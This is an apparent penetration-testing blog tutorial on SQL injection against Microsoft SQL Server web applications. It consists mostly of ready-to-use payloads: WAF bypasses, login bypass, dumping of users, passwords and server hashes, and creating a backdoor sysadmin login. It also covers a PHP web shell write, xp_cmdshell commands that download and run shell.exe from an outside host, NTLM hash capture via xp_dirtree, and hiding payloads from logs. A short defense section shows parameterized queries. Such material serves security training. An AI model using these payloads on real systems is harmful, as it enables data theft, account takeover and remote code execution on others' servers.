web hacking

SQL Injection MSSQL: UNION, Blind, Stacked, RCE, Payload

SQL Injection MSSQL: UNION, Blind, Stacked, RCE, Payload

Pentest SQL Injection MSSQL: identify quotes, exploit UNION/blind/time-based/stacked/error-based, bypass WAF, RCE via xp_cmdshell, NTLM hash, linked server.

  • Posted on 2026-07-11
  • Reading time: 13 min

SQL Injection MSSQL: Identification, UNION, Blind, Time-Based, Stacked Query, RCE and Payload #

A web app that uses MSSQL as a backend and doesn't sanitize input is a direct gateway to the database—and, with the right syntax, often to the underlying operating system as well. This guide only covers the web side (parameters, forms, HTTP headers): for direct access to the instance via port 1433, please refer to the dedicated guide on Pentesting MSSQL on Port 1433.

What you will learn:

  • How to tell if a parameter is vulnerable to quotes and single quotes
  • The correct syntax for comments, terminators, and null bytes in MSSQL
  • How to confirm that the DBMS is MSSQL and not another one
  • All the payload variations to try when the basic one doesn't work
  • How to dump data with UNION, error-based, blind and stacked queries
  • How to bypass filters and WAFs (HPP, encoding, JSON, headers)
  • How to get to RCE with xp_cmdshell from a web SQLi
  • How to detect and defend against these attacks (blue team side)

Prerequisites:

What is neededWhy
A proxy like Burp SuiteTo intercept and modify requests
SQL BasicsTo understand what you are injecting and why
Authorized test environment (HTB, lab, CTF)Every technique here is didactic

1. Identify the Vulnerable Point #

The web parameter ends up in a server-side query, like:

sql
SELECT * FROM products WHERE name = 'INPUT'

To determine if it is vulnerable, try breaking the syntax with special characters and observe the response.

This is exactly what happens programmatically when input is not sanitized:

Diagram: How a superscript breaks the structure of a SQL query

Initial test #

text
'
''
"
' OR '1'='1
' AND '1'='1
' AND '1'='2
1 AND 1=1
1 AND 1=2

Interpret the answer #

What do you see?Meaning
SQL Error (Incorrect syntax near..., Unclosed quotation mark)Injection confirmed — error-based possible
Different page between AND 1=1 e AND 1=2Boolean blind confirmed
Delay 5+ seconds with WAITFOR DELAYTime-based blind confirmed
No difference with any payloadActive WAF or non-injectable parameter
Generic HTTP Error 500Injection likely, but details are hidden (error handling active)

Typical MSSQL error messages #

If your app exposes database errors (often in dev or with debug enabled), these tests confirm MSSQL:

text
Incorrect syntax near '...'.
Unclosed quotation mark after the character string '...'.
The conversion of the varchar value '...' to data type int resulted in an out-of-range value.

Identify the parameter context #

text
Prova:  '    → errore syntax
Prova:  ''   → errore sparisce → contesto stringa semplice
Prova:  ')   → errore sparisce → contesto con parentesi
Prova:  '))  → errore sparisce → doppia parentesi
Prova:  1    → nessun errore  → intero (nessun apice)

2. Syntax: Quotes, Comments, and Terminators #

The single apex ' #

Injecting ' close string prematurely → SQL error → injection confirmed.

Comments: --, -- -, --+ #

After the payload you need to comment out the rest of the original query. -- in SQL it technically requires a space after to be valid (-- ).

CommentoperationWhen to use it
--It works on MSSQL even without spaceDefault
-- --- + space + - → guaranteed spaceWhen -- is truncated or filtered
--+In URL + = space → becomes --GET parameters in URL
/* */Inline comment (C-style)Bypass filters on spaces and keywords
;%00Null byte as terminatorSome parsers cut the query there

Rule of thumb: uses -- - in the body POST via Burp, --+ in the GET URL parameters.

The semicolon ; #

Closes the current statement and opens the next one. Required for stacked queries and stored procedures:

text
'                   → chiude la stringa
; payload           → nuovo statement
;-- -               → chiude il nuovo statement e commenta il resto

Correct structure for stacked queries via the web:

text
'; EXEC xp_cmdshell 'whoami';-- -
^^                           ^^
chiude stringa    chiude statement + commenta

AND vs. OR #

OperatorEffectWhen to use it
' AND 1=1-- -Keeps the original filterBoolean blind, UNION
' AND 1=2-- -Strength FALSEBlind Discriminator Check
' OR 1=1-- -Bypass all filtersAuthentication bypass — generates a lot of noise

3. Fingerprinting: Confirm it's MSSQL #

Before using MSSQL-specific payloads, identify your DBMS — getting this wrong will waste your time with incorrect syntax.

Time-based (the most reliable method) #

Each DB has its own delay function — it's the only test that doesn't depend on visible error messages:

sql
-- MSSQL → WAITFOR DELAY (esclusivo, non esiste su nessun altro DBMS)
'; WAITFOR DELAY '0:0:5';-- -

-- MySQL/MariaDB → SLEEP
' AND SLEEP(5)-- -

-- PostgreSQL → pg_sleep
' AND pg_sleep(5)>0-- -

-- Oracle → DBMS_PIPE
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -

If with WAITFOR DELAY the server responds after 5 seconds → you are on MSSQL, stop.

Confirm with unique MSSQL functions #

sql
' AND @@CONNECTIONS>0-- -                          → solo MSSQL
' AND BINARY_CHECKSUM(1)=BINARY_CHECKSUM(1)-- -    → solo MSSQL
' AND 1=CONVERT(int,@@VERSION)-- -                 → errore con versione MSSQL nel testo
' AND @@VERSION LIKE '%Microsoft SQL Server%'-- -  → TRUE solo su MSSQL

4. Default Database to Ignore #

When you enumerate databases during a SQLi, they are always present regardless of the application — don't waste time searching for data in there.

NamePresent your
masterAll versions
modelAll versions
msdbAll versions
tempdbAll versions
northwindAll versions (demo DB)
pubsOnly versions prior to MSSQL 2005

5. Variants to Try When the Payload Doesn't Work #

In a real test ' UNION SELECT 1,2,3-- - It almost never works on the first try. Follow this order:

text
1. Identifica il contesto del parametro (sezione 1)
2. Prova la variante di commento giusta (sezione 2)
3. Prova UNION SELECT
4. Se UNION non va → prova error-based o blind
5. Se stacked funziona → prova xp_dirtree e poi xp_cmdshell

Variants by context #

For simple string :

sql
' UNION SELECT 1,2,3-- -
' UNION SELECT 1,2,3--+
' UNION SELECT NULL,NULL,NULL-- -
' UNION ALL SELECT 1,2,3-- -

For parameter with parentheses :

sql
') UNION SELECT 1,2,3-- -
')) UNION SELECT 1,2,3-- -

For stacked queries (note the ; final before the comment):

sql
'; SELECT 1;-- -
'; WAITFOR DELAY '0:0:5';-- -

For numeric parameter (no superscript):

sql
1 UNION SELECT 1,2,3-- -
1 AND 1=1-- -
1; WAITFOR DELAY '0:0:5';-- -

Bypass spaces and keywords filtered by a WAF #

sql
-- Commento inline al posto degli spazi
'/**/UNION/**/SELECT/**/1,2,3-- -

-- URL encoding (GET)
'+UNION+SELECT+1,2,3-- -
'%09UNION%09SELECT%091,2,3-- -      (TAB)
'%0aUNION%0aSELECT%0a1,2,3-- -     (newline)
'%a0UNION%a0SELECT%a01,2,3-- -      (non-breaking space, MSSQL la tratta come spazio)

-- Case mixing
' UnIoN SeLeCt 1,2,3-- -

-- Varianti UNION (bypass regex su "union select")
' UNION ALL SELECT 1,2,3-- -
' UNION DISTINCT SELECT 1,2,3-- -
' UNION/**/SELECT 1,2,3-- -

-- Spezza la keyword con concatenazione dinamica (bypass blacklist testuale)
'; DECLARE @q NVARCHAR(100)='UNI'+'ON SEL'+'ECT 1,2,3';EXEC(@q);-- -

MSSQL considers only the ASCII characters 0x01–0x1F and 0x20 to be whitespace — unlike MySQL, it has no additional “exotic” whitespace, so encoding-based bypasses work in a narrower set of variants.

Advanced WAF Bypass Techniques #

HTTP Parameter Pollution (HPP): If the app concatenates two parameters in the same query, it splits the payload between the two — the WAF inspects each parameter individually:

text
?year=1 UNION SELECT /*&month=*/ 1,2,3-- -

JSON-based bypass: Many WAFs don't inspect JSON syntax in SQL queries. MSSQL has supported JSON since 2016.

sql
' AND JSON_VALUE('{"a":1}','$.a')=1 UNION SELECT 1,2,3-- -

HTTP header injection: If your app logs or uses headers in SQL queries, WAFs often inspect them less than the body:

text
X-Forwarded-For: 1' UNION SELECT 1,2,3-- -
User-Agent: ' UNION SELECT 1,2,3-- -

sqlmap — tamper for MSSQL with WAF:

bash
sqlmap -r req.txt -p id --dbms=mssql --tamper=space2mssqlblank,charencode,randomcase

Bypass quote filters: hexadecimal encoding #

If the WAF specifically blocks the character ', you can avoid this altogether by passing strings as hexadecimal literals — MSSQL automatically converts them if preceded by 0x:

sql
-- Invece di 'admin' scrivi il suo valore esadecimale
1; EXEC(0x73656C65637420404076657273696F6E)-- -

Useful only in contexts where the parameter accepts an integer value or where you build the query dynamically with EXEC() — in the classic string context (WHERE name = 'INPUT') does not replace the closing apex, which is still necessary.


6. UNION-Based: Visual Data Dump #

Find the number of columns — all variants #

sql
-- ORDER BY, incrementale (errore quando superi le colonne reali)
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -
' ORDER BY 5-- -
...
' ORDER BY 100-- -

-- ORDER BY con parentesi (contesto diverso)
') ORDER BY 1-- -

-- ORDER BY numerico (parametro senza apici)
1 ORDER BY 1-- -

-- UNION NULL, incrementale (type-safe, funziona sempre anche senza errori visibili)
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL-- -

-- Con interi, se le colonne accettano tipi numerici
' UNION SELECT 1-- -
' UNION SELECT 1,2-- -
' UNION SELECT 1,2,3-- -

How to interpret ORDER BY: se ORDER BY 6 it does not give any error and ORDER BY 7 generates Invalid column index (or similar) → the query has exactly 6 columnsYour UNION must have the same number of values, otherwise the error is All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Find the column visible on the screen #

sql
' UNION SELECT 'hackita',NULL,NULL-- -
' UNION SELECT NULL,'hackita',NULL-- -

When “hackita” appears on the page → that is the column you use to extract the data.

Practical flow: from zero to dump #

Column 2 confirmed, 6 columns total.

sql
-- Database
' UNION SELECT NULL,name,NULL,NULL,NULL,NULL FROM master..sysdatabases-- -

-- Tabelle del DB trovato
' UNION SELECT NULL,table_name,NULL,NULL,NULL,NULL FROM NomeDB.information_schema.tables-- -

-- Colonne della tabella
' UNION SELECT NULL,column_name,NULL,NULL,NULL,NULL FROM NomeDB.information_schema.columns WHERE table_name='users'-- -

-- Dati, tutti concatenati in un blocco unico
' UNION SELECT NULL,(SELECT username+':'+password+' | ' FROM NomeDB..users FOR XML PATH('')),NULL,NULL,NULL,NULL-- -

Typical error: to write SELECT name, FROM tabella with a comma before FROM. The correct structure is always SELECT val1, val2, val3 FROM tabella — the FROM statement comes after all values, never in between.


7. Error-Based: Let Errors Speak #

Useful when the query result is never shown on the screen, but the errors are.

sql
-- CONVERT (il più usato)
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))-- -
' AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~'))-- -

-- CAST
' AND 1=CAST((SELECT TOP 1 name FROM master..sysdatabases) AS int)-- -

-- Tutti i DB in una riga
' AND 1=CAST((SELECT (SELECT name+' ' FROM master..sysdatabases FOR XML PATH(''))) AS int)-- -

The error returned will contain your data:

text
Conversion failed when converting the varchar value 'master tempdb model msdb' to data type int.

ORDER BY injection #

When the injectable point is in the clause ORDER BY, UNION doesn't work — use error-based:

sql
ORDER BY 1,CONVERT(int,@@VERSION)-- -
ORDER BY (SELECT TOP 1 name FROM master..sysdatabases)-- -

8. Blind SQL Injection: Boolean and Time-Based #

Boolean Blind #

Page that does not show SQL data but switches behavior between TRUE and FALSE.

sql
-- Conferma discriminatore
' AND 1=1-- -    → pagina normale (TRUE)
' AND 1=2-- -    → pagina diversa (FALSE)

-- Lunghezza del dato
' AND LEN((SELECT TOP 1 name FROM master..sysdatabases))=6-- -

-- Carattere per carattere
' AND SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases),1,1)='m'-- -

-- Con ASCII + binary search (più veloce in automazione)
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases),1,1))>64-- -

-- Dump password
' AND SUBSTRING((SELECT TOP 1 password FROM NomeDB..users),1,1)='a'-- -

Time-Based Blind #

Even when the page behavior is identical in every case — the only sign is the response time.

sql
-- Conferma — varianti da provare in base al contesto
'; IF(1=1) WAITFOR DELAY '0:0:5';-- -
ProductID=1'; WAITFOR DELAY '0:0:5';-- -
ProductID=1); WAITFOR DELAY '0:0:5';-- -

-- Estrai carattere per carattere
'; IF(ASCII(SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases),1,1))=109) WAITFOR DELAY '0:0:5';-- -

-- Verifica sysadmin
'; IF(IS_SRVROLEMEMBER('sysadmin')=1) WAITFOR DELAY '0:0:5';-- -

To automate use sqlmap with --technique=B --time-sec=5 --threads=1 — multiple time-based threads generate false positives.


9. Stacked Queries: Multiple Statements #

MSSQL natively supports multiple statements separated by ; in the same request — this is one of the reasons why it is more dangerous than MySQL on this front (MySQL usually blocks stacked queries on the driver side).

sql
-- Conferma (nota il ; finale prima del commento)
'; SELECT 1;-- -

-- Bypass blacklist testuale con variabile
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'whoami';-- -

-- Scrivi su tabella temporanea poi leggi con UNION
'; CREATE TABLE #tmp (data VARCHAR(1000)); INSERT INTO #tmp SELECT name FROM master..sysdatabases;-- -
' UNION SELECT NULL,(SELECT TOP 1 data FROM #tmp),NULL-- -

-- Modifica diretta di dati (es. reset password admin)
'; UPDATE users SET password='hackita123' WHERE username='admin';-- -

-- Se sei sysadmin, crea un login con privilegi elevati direttamente dalla injection
'; CREATE LOGIN backdoor WITH PASSWORD='P@ssw0rd123!'; EXEC sp_addsrvrolemember 'backdoor','sysadmin';-- -

10. Authentication Bypass #

If the injectable parameter is in the login form, you can bypass authentication without knowing the password:

sql
' OR '1'='1
' OR 1=1-- -
admin'-- -
admin' AND 1=0 UNION ALL SELECT 'admin','161ebd7d45089b3446ee4e0d86dbcf92'-- -

The last example also injects a known MD5 hash (of P@ssw0rd) instead of the password — only works if the app compares a plain MD5 without salt, which is rare in 2026.

Attention: ' OR 1=1-- Matches the query against every row in the table. If the app expects only one result, it often throws a server-side error instead of logging you in—in that case, try admin'-- to authenticate yourself as a specific user without knowing their password.


10b. Impersonating Other Users via SQLi #

If stacked queries work, you can change the connection's security context without knowing any passwords—useful when the web connection user has low permissions but a more privileged login exists on the same server.

sql
-- Chi puoi impersonare? (richiede che qualcuno ti abbia dato IMPERSONATE)
'; SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id WHERE a.permission_name='IMPERSONATE';-- -

-- Impersona un login (server-level)
'; EXECUTE AS LOGIN='sa'; SELECT SYSTEM_USER;-- -

-- Impersona un utente (database-level, permesso IMPERSONATE più comune qui)
'; EXECUTE AS USER='dbo'; SELECT USER_NAME();-- -

-- Torna al contesto originale
'; REVERT;-- -

From a web SQLi these commands do not return direct output (unless you combine them with UNION or error-based read SYSTEM_USER) — are mainly used to execute commands subsequent ones in the same stacked session with the highest privileges of the impersonated user.


11. Second-Order SQL Injection #

A payload can be saved harmlessly (e.g., in a profile or comment field) and then executed later, when that data is reused in another query without being re-sanitized:

text
1. L'utente si registra con username: admin'--
2. L'app salva la stringa così com'è nel database
3. In un secondo momento l'app costruisce una query tipo:
   SELECT * FROM users WHERE username = 'admin'--' AND ...
4. Il commento `--` tagliato dal valore salvato altera la query originale

It should be searched anywhere a saved input is later reused in a query other than the one it was inserted in — user profiles, comments, file names.


12. Reading and Writing Files via SQLi #

sql
-- Lettura (richiede ADMINISTER BULK OPERATIONS)
-1 UNION SELECT NULL,(SELECT x FROM OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),NULL-- -

-- Scrittura, se l'app ha una stored procedure custom per farlo
'; EXEC spWriteStringToFile '<?php echo shell_exec($_GET["c"]);?>','C:\inetpub\wwwroot\','shell.php';-- -

The write depends on an application-specific stored procedure — it's not native to MSSQL, look for it first in the custom procedures enumeration.


13. RCE with xp_cmdshell #

If stacked queries are working and you are a sysadmin, you can enable and run OS commands directly from SQLi:

sql
'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- -
'; EXEC master..xp_cmdshell 'whoami';-- -
'; EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://10.10.14.123/shell.exe C:\Windows\Temp\s.exe && C:\Windows\Temp\s.exe';-- -

For the complete list of alternative methods (OLE Automation, Python, CLR) when xp_cmdshell is too noisy or disabled, see the dedicated section in the MSSQL port 1433 guide.


14. Hash Capture and Linked Server via SQLi #

Even without a sysadmin, a stacked query can force the MSSQL service to expose the NTLM hash of its service account:

sql
'; EXEC master.dbo.xp_dirtree '\\10.10.14.123\share';-- -

Capture the hash with Reply listening (sudo responder -I tun0 -v), then crack it with hashcat in 5600 mode.

If your firewall blocks outgoing SMB, use DNS exfiltration instead of xp_dirtree, and if your instance has linked servers configured you can traverse them with EXECUTE ... AT — both techniques, with all the details, are in the MSSQL port 1433 guide, because once inside the DB the rest of the attack no longer depends on whether you got there via the web or via a direct connection.

Dump all passwords, not just the first one #

Examples with TOP 1 The previous sections are for confirmation of the technique — in a real dump you want all the lines, not just the first. With UNION, this is already automatic (SELECT username,password FROM users returns all rows); with error-based or blind, where the output channel is limited to one value at a time, concatenate everything into a single string:

sql
-- Tutti gli utenti e le password concatenati in un blocco unico (via UNION, XML PATH)
' UNION SELECT NULL,(SELECT username+':'+password+' | ' FROM users FOR XML PATH(''))-- -

-- Se hai sysadmin, dump diretto degli hash di sistema invece dei dati applicativi
' UNION SELECT NULL,(SELECT name+'-'+master.sys.fn_varbintohexstr(password_hash)+' | ' FROM master.sys.sql_logins FOR XML PATH(''))-- -

The second payload gives you the hashes of the SQL Server logins themselves (not the app users)—useful for lateral movement if reused elsewhere. The hash format varies by version; see the full hashcat modes (131/132/1731) table in the port 1433 guide.

Enumerate domain users by SID (without xp_cmdshell) #

If the server is joined to Active Directory, you can enumerate domain users by querying only SQL functions — no sysadmin or xp_cmdshell needed:

sql
-- 1. Ottieni il nome del dominio
' UNION SELECT NULL,DEFAULT_DOMAIN()-- -

-- 2. Ottieni il SID di un account noto (es. Administrator) in formato esadecimale
' UNION SELECT NULL,master.dbo.fn_varbintohexstr(SUSER_SID('DOMINIO\Administrator'))-- -

The result is like this 0x0105000000000005150000...0000f401. The last 4 bytes (f401 = 500 in little endian) are the RID (Relative ID) of the user — 500 It's always the Administrator. Everything else in the string is the domain SID, which is constant for each account.

sql
-- 3. Ricostruisci un SID con RID diverso e risolvilo a un nome utente
' UNION SELECT NULL,SUSER_SNAME(SID_BINARY(N'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-1000'))-- -

By iterating the RID from 1000 onwards (the first “regular”, non-system” user IDs) you progressively get all the usernames of the domain — the same RID-brute logic used by nxc mssql --rid-brute, but performed entirely via SQL injection, without touching SMB. Every username found is ripe material for password spray or for Kerberoasting/AS-REP roasting.


15. OPSEC: Hiding the Payload from the Logs #

By adding sp_password At the end of a query, SQL Server automatically replaces the text in the logs with a generic placeholder, designed to prevent passwords from ending up in the logs in clear text:

sql
' AND 1=1--sp_password

Only the following will appear in the server logs:

text
'sp_password' was found in the text of this event.
The text has been replaced with this comment for security reasons.

A blue team should therefore be wary of events with obscured text without an apparent password in the original query—it's an indicator, not a harmless error.


16. Detection and Defense #

ConnectionHow to detect itHow to mitigate it
Testing for quotes/syntax errorsRepeated SQL errors in application logs from the same IPParameterized Queries (Prepared Statements) — The Only Defense That Actually Works
UNION-basedQuery with abnormal number of columns or UNION in WAF logsInput validation, allow-list on numeric/enum parameters
Time-based blindRequests with abnormal and repeated response timesRate limiting, alerts on patterns of identical requests at intervals
Stacked queriesQuery with ; multiples in logs, especially towards xp_cmdshell o sp_configureDisable driver-side stacked queries if the framework allows it, least privilege principle on the application account
sp_password to hide logsEvents with obscured text without password contextCorrelate with other signals (IP, user-agent, frequency) instead of just relying on the log text
xp_dirtree / hash captureAbnormal outgoing SMB trafficBlock outgoing SMB, disable xp_dirtree if not necessary

The basic defense remains the same: parameterized queries everywhere , never string concatenation with user input. Everything else (WAF, allow-list, least privilege) is an additional layer, not a replacement.

Vulnerable (direct chaining):

python
query = "SELECT * FROM users WHERE username = '" + username + "'"
cursor.execute(query)

Safe (parameterized query):

python
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (username,))

With the second version, the driver sends the value separately from the query structure — a single quote in the input remains a simple character, it never manages to “break out” of the string context.


17. Troubleshooting #

ProblemCauseSolution
Error with ' but not ''String confirmedTry it now '-- -, ')-- -, '))-- -
UNION works but no outputWrong visible columnTry it now 'hackita' in every position
sqlmap does not fingerprintWAF blocks MSSQL queries--string="val" --flush-session --no-cast
Stacked queries do not executeApp/driver does not support multi-statementUse only UNION or error-based
WAITFOR without observable delayApp uses low timeout or connection poolingIncrease to 10-15 seconds, verify that the request is synchronous

18. FAQ #

How do I know if it's MSSQL and not MySQL? Usa ' AND @@CONNECTIONS>0-- - (MSSQL only) — If MySQL, this function does not exist and throws an error.

-- - e -- are they identical? Almost. -- requires a space after per SQL standard. -- - è -- + space + - — the space guarantees validity on all parsers, even the most permissive ones of MSSQL.

When it is NOT a good idea to use ' OR 1=1--? When the app expects only one result from the query: in that case it throws an error instead of authenticating you. Use admin'-- to target a specific user.

Do stacked queries always work on MSSQL? It depends on the driver/framework used by the app, not just the database—some drivers (e.g., certain ORMs) block multi-statement even though MSSQL supports it.

Can I get to RCE with just SQL Injection? Yes, if stacked queries work and the connection user is sysadmin: enable xp_cmdshell and execute commands directly from the injection.


19. Final Cheat Sheet #

text
=== IDENTIFICAZIONE ===
'  ''  "  ' OR '1'='1  ' AND 1=1-- -  ' AND 1=2-- -

=== FINGERPRINT MSSQL ===
'; WAITFOR DELAY '0:0:5';-- -
' AND @@CONNECTIONS>0-- -
sqlmap -u "URL" --dbms=mssql --banner

=== COMMENTI ===
POST/Burp:  -- -
GET URL:    --+
Spazi:      /**/ al posto degli spazi

=== VARIANTI DA PROVARE (in ordine) ===
' UNION SELECT 1,2,3-- -
') UNION SELECT 1,2,3-- -
' UNION SELECT NULL,NULL,NULL-- -
'/**/UNION/**/SELECT/**/1,2,3-- -
'; SELECT 1;-- -               (conferma stacked)

=== UNION ===
Colonne:  ' ORDER BY N-- -
Visibile: ' UNION SELECT 'hackita',NULL,NULL-- -
DB:       FROM master..sysdatabases
Tabelle:  FROM NomeDB.information_schema.tables
Colonne:  FROM NomeDB.information_schema.columns WHERE table_name='X'
Dump:     SELECT col1+':'+col2 FROM DB..Table FOR XML PATH('')

=== ERROR-BASED ===
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))-- -

=== BLIND ===
Boolean: ' AND SUBSTRING((SELECT...),1,1)='m'-- -
Time:    '; IF(ASCII(SUBSTRING((SELECT...),1,1))=109) WAITFOR DELAY '0:0:5';-- -

=== STACKED → RCE ===
'; EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- -
'; EXEC master..xp_cmdshell 'whoami';-- -

=== HASH CAPTURE ===
'; EXEC xp_dirtree '\\ATTACKER_IP\share';-- -
→ responder -I tun0 -v → hashcat -m 5600

=== OPSEC ===
Nascondi dai log: payload--sp_password

References #

Related guides on hackita.it:

For use in authorized environments only.

#sql-injection #mssql

leave a message

I'm not a robot